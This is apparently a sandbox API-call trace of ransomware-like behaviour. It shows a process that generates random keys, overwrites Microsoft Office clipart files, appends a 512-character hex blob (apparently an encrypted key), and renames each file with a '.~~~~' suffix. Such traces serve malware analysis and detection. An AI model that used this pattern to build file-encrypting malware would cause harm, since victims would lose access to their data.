	[0097.672] GetLastError () returned 0x0
	[0097.672] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0097.672] GetLastError () returned 0x0
	[0097.672] GetLastError () returned 0x0
	[0097.680] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffee48, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.680] WriteFile (in: hFile=0x128, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x11b8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x11b8, lpOverlapped=0x0) returned 1
	[0097.681] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0097.681] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.681] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.682] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.682] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.682] CloseHandle (hObject=0x128) returned 1
	[0097.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.682] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf.~~~~")) returned 1
	[0097.683] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.683] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0097.683] GetLastError () returned 0x0
	[0097.683] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0097.684] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0097.684] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0097.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0097.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0097.684] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21767445456) returned 1
	[0097.684] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa3f04a90, dwHighDateTime=0x1d60e1e)) 
	[0097.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0097.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0097.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0097.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28411b0
	[0097.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28411b0 | out: hHeap=0x300000) returned 1
	[0097.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280d088
	[0097.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.685] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0097.685] GetLastError () returned 0x0
	[0097.685] GetLastError () returned 0x0
	[0097.685] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0097.685] GetLastError () returned 0x0
	[0097.686] GetLastError () returned 0x0
	[0097.743] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffb10c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.743] WriteFile (in: hFile=0x128, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x4ef4, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x4ef4, lpOverlapped=0x0) returned 1
	[0097.744] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0097.745] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.745] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.745] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.745] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.745] CloseHandle (hObject=0x128) returned 1
	[0097.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.745] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf.~~~~")) returned 1
	[0097.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0097.766] GetLastError () returned 0x0
	[0097.766] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0097.767] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.767] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0097.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0097.767] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21775736933) returned 1
	[0097.767] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa3fc3170, dwHighDateTime=0x1d60e1e)) 
	[0097.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0097.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0097.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0097.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28412c8
	[0097.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28412c8 | out: hHeap=0x300000) returned 1
	[0097.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280d1b8
	[0097.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.768] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0097.768] GetLastError () returned 0x0
	[0097.768] GetLastError () returned 0x0
	[0097.768] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0097.768] GetLastError () returned 0x0
	[0097.768] GetLastError () returned 0x0
	[0097.811] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffd49c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.812] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x2b64, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x2b64, lpOverlapped=0x0) returned 1
	[0097.812] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0097.812] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.812] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.813] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.813] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.813] CloseHandle (hObject=0x128) returned 1
	[0097.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.813] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf.~~~~")) returned 1
	[0097.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0097.817] GetLastError () returned 0x0
	[0097.817] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0097.818] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.818] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.818] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0097.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0097.818] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21780810453) returned 1
	[0097.818] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa4035590, dwHighDateTime=0x1d60e1e)) 
	[0097.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0097.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0097.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0097.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841370
	[0097.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.818] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841370 | out: hHeap=0x300000) returned 1
	[0097.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.818] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.818] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280d4b0
	[0097.818] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.819] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0097.819] GetLastError () returned 0x0
	[0097.819] GetLastError () returned 0x0
	[0097.819] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0097.819] GetLastError () returned 0x0
	[0097.819] GetLastError () returned 0x0
	[0097.879] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffcfec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.879] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x3014, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x3014, lpOverlapped=0x0) returned 1
	[0097.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0097.880] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.880] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.880] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.880] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.880] CloseHandle (hObject=0x128) returned 1
	[0097.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.880] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf.~~~~")) returned 1
	[0097.881] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.881] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0097.881] GetLastError () returned 0x0
	[0097.882] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0097.883] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.883] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.883] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0097.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0097.883] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21787319189) returned 1
	[0097.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa40f3c70, dwHighDateTime=0x1d60e1e)) 
	[0097.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0097.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0097.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0097.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841450
	[0097.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.883] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841450 | out: hHeap=0x300000) returned 1
	[0097.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280d678
	[0097.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.884] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0097.884] GetLastError () returned 0x0
	[0097.884] GetLastError () returned 0x0
	[0097.884] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0097.884] GetLastError () returned 0x0
	[0097.884] GetLastError () returned 0x0
	[0097.979] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffd59c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.979] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x2a64, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x2a64, lpOverlapped=0x0) returned 1
	[0097.980] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0097.980] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.980] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.980] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.980] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.980] CloseHandle (hObject=0x128) returned 1
	[0097.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.981] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf.~~~~")) returned 1
	[0097.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.982] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0097.982] GetLastError () returned 0x0
	[0097.983] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0097.984] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.984] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.984] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0097.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0097.984] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21797414307) returned 1
	[0097.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa41d84b0, dwHighDateTime=0x1d60e1e)) 
	[0097.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0097.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0097.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0097.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9f30
	[0097.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.984] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9f30 | out: hHeap=0x300000) returned 1
	[0097.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.984] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.985] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280d8d8
